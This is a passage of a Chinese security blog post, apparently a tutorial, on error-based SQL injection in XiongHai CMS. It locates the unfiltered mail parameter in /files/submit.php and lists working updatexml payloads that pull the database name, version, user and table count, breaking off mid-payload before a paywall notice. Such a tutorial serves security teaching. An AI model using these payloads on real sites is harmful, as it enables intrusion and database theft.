前言
记上次的熊海CMS代码审计后,这周z男十三年给学弟们讲了sql注入的报错注入,期间遇到了不少坑,欢迎阅读这篇文章的师傅们一起探讨学习。
分析过程
0x01.注入点源码分析
1、首先要装一个熊海cms的网站在本机上,并完成配置(要关闭魔术引号)。点击“联系”,并拉到最下面“发表留言”处。

2、用RIPS对整个网站的根目录进行扫描,发现submit.php 文件下存在SQL报错注入,即存在报错提示,由此定位到文件 /files/submit.php (注意不要定位到/admin/files 这是后台的文件目录)

3、运用 phpstorm 阅读文件源码

4、发现只有 $type 参数进行了过滤,其他参数都是直接传递,但这时候一定要注意可能会引入些文件进行过滤(例如waf文件),以防万一也可以打开 inc 下的 conn.php 看看。

5、可以看出前面的代码都没有对 name、mail、url 等参数进行过滤。
6、找到数据库插入的地方(找一个SELECT语句),发现 $mail 参数会直接传递给数据库,由此我们就可以对这下手,在邮箱后面进行sql报错注入的操作

0x02.报错注入的利用方法
通过构造错误的xml格式获取到数据库内容
1.UpdateXml
#获取数据库
') or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
#获取数据库版本信息
') or updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--+
#获取用户
') or updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--+
#获取表数量
') or updatexml(1,concat(0x7e,(SELECT count(table_name) from
information_schema.tables where table_schema=database()),
0x7e),1)--+
#获取表数据
') or updatexml(1,concat(0x7e,(SE

本文详细介绍了SQL注入中的报错注入方法,包括利用UpdateXml和ExtractValue函数获取数据库信息。同时,通过实例演示了如何使用Burpsuite和sqlmap进行爆破表名,并解决在实践中遇到的报错、调试和乱码问题。最后,讨论了updatexml和extractvalue函数的工作原理及在注入中的应用。
最低0.47元/天 解锁文章
2534

被折叠的 条评论
为什么被折叠?



